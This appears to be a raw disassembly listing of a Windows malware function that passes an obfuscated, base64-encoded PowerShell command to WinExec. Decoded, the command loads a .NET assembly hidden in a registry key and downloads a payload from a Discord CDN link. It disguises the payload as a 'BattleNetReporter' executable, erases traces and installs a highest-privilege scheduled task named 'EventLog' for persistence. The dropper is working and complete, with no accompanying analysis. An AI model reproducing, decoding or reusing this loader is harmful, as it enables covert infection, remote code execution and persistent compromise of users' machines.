Function at 0x3a3c613cb
Capabilities:
Create process on windows
Execute command
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov edx, 0
lea rax, str.C:Windows_system32WindowsPowerShell_v1.0powershell.exe__Encoded_UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAOQA7AFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFcAaQBuADMAMgAuAFIAZQBnAGkAcwB0AHIAeQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIALgBPAHAAZQBuAFMAdQBiAEsAZQB5ACgAIgBTAG8AZgB0AHcAYQByAGUAXABDAGgAYQBuAGcAZQBNAHkATgBhAG0AZQAiACkALgBHAGUAdABWAGEAbAB1AGUAKAAkAE4AdQBsAGwAKQApADsAJAB0AE4AYQA3ADQAMQAyADMAMQAwADMANgA1ACAAPQAgACIAJABlAG4AdgA6AEEATABMAFUAUwBFAFIAUwBQAFIATwBGAEkATABFAFwAQgBhAHQAdABsAGUATgBlAHQAUgBlAHAAbwByAHQAZQByAC4AZQByAHIAIgA7ACQAdABOAGEANwA0ADEAMgAzADEAMAAzADYANgAgAD0AIAAiACQAZQBuAHYAOgBBAEwATABVAFMARQBSAFMAUABSAE8ARgBJAEwARQBcAEIAYQB0AHQAbABlAE4AZQB0AFIAZQBwAG8AcgB0AGUAcgAuAGUAeABlACIAOwBpAGYAIAAoAC0AbgBvAHQAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAdABOAGEANwA0ADEAMgAzADEAMAAzADYANgAgAC0AUABhAHQAaABUAHkAIABMAGUAYQBmACkAKQB7ACAAdAByAHkAIAB7ACQAdABOAGEANwA0ADEAMgAzADEAMAAzADYANwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBhAEgAUgAwAGMASABNADYATAB5ADkAagBaAEcANAB1AFoARwBsAHoAWQAyADkAeQBaAEcARgB3AGMAQwA1AGoAYgAyADAAdgBZAFgAUgAwAFkAVwBOAG8AYgBXAFYAdQBkAEgATQB2AE0AVABFAHgATQBEAEEANABOAHoAawA1AE8ARABRADUATgBUAGMANABPAFQAQQA1AE8AQwA4AHgATQBUAEUAdwBNAEQAZwA1AE4AagBFAHkATgBqAEUAdwBOAHoAYwAzAE0AVABZAHcATAAxAFoAaABiAEQAYwA1AEwAbQBWAHkAYwBnAD0APQAnACkAKQA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAHQATgBhADcANAAxADIAMwAxADAAMwA2ADcAIAAtAE8AdQB0AGYAaQBsAGUAIAAkAHQATgBhADcANAAxADIAMwAxADAAMwA2ADUAOwBbAEMALgBDAGwAYQBzAHMAMQBdADoAOgBNAGEAaQBuACgAJAB0AE4AYQA3ADQAMQAyADMAMQAwADMANgA2ACwAJAB0AE4AYQA3ADQAMQAyADMAMQAwADMANgA1ACwAJwBDAG8AbgB2AGUAcgB0AC4AVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgATQA0AGgAeABEAE8AMwBmAEoAWABPAEoAMwBRAFIATQBxAEgATwA3AGkAUwAyAEwAawBBAHUANABnAFAAVAB3AG4AVAB2AFUAVgBkADMATABMAGIAUgB1AFYAdABqAFcAOQBUAFkAWABMAEgAZAAzAEMAVgBNAEMAYwA4ADgAMwBEAGEAZQBqAGQANgAxAE4ATwBDAHYARwBCAEcAeQB6AFoAWQA1AE4AegA2AGsAZgB5ADIAUwA5AFEAegByAE0AZABZAHEANABQAEEAMgBDAGMASwBJAEkAVgBXADIANQBnAFYAbQBFAEQAdQBDAEcAeQA5AHUAbABuADEANgBZAFUAaQBtAGwAWQA1AGsAWgBmADIAdQBwAHcAYwBLAGIAOQBYAGMANABNAG4ASgBzAFYAawBGAFAATwBRAFkAKQAnACwAJwA2ADQAJwApADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJAB0AE4AYQA3ADQAMQAyADMAMQAwADMANgA1AH0AYwBhAHQAYwBoAHsAfQB9AGUAbABzAGUAewB9ADsARwBlAHQALQBJAHQAZQBtACAAIgBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABDAGgAYQBuAGcAZQBNAHkATgBhAG0AZQAiACAAfAAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0ARgBvAHIAYwBlADsAcwBjAGgAdABhAHMAawBzACAALwBDAHIAZQBhAHQAZQAgAC8AcgBsACAASABJAEcASABFAFMAVAAgAC8ARgAgAC8AVABOACAARQB2AGUAbgB0AEwAbwBnACAALwBUAFIAIAAkAHQATgBhADcANAAxADIAMwAxADAAMwA2ADYAIAAvAFMAQwAgAE8ATgBFAFYARQBOAFQAIAAvAEUAQwAgAFMAeQBzAHQAZQBtACAALwBNAE8AIAAqAFsAUwB5AHMAdABlAG0ALwBFAHYAZQBuAHQASQBEAD0AMwAwADEAXQA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AUgB1AG4AIAAvAFQATgAgAEUAdgBlAG4AdABMAG8AZwA7AA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
nop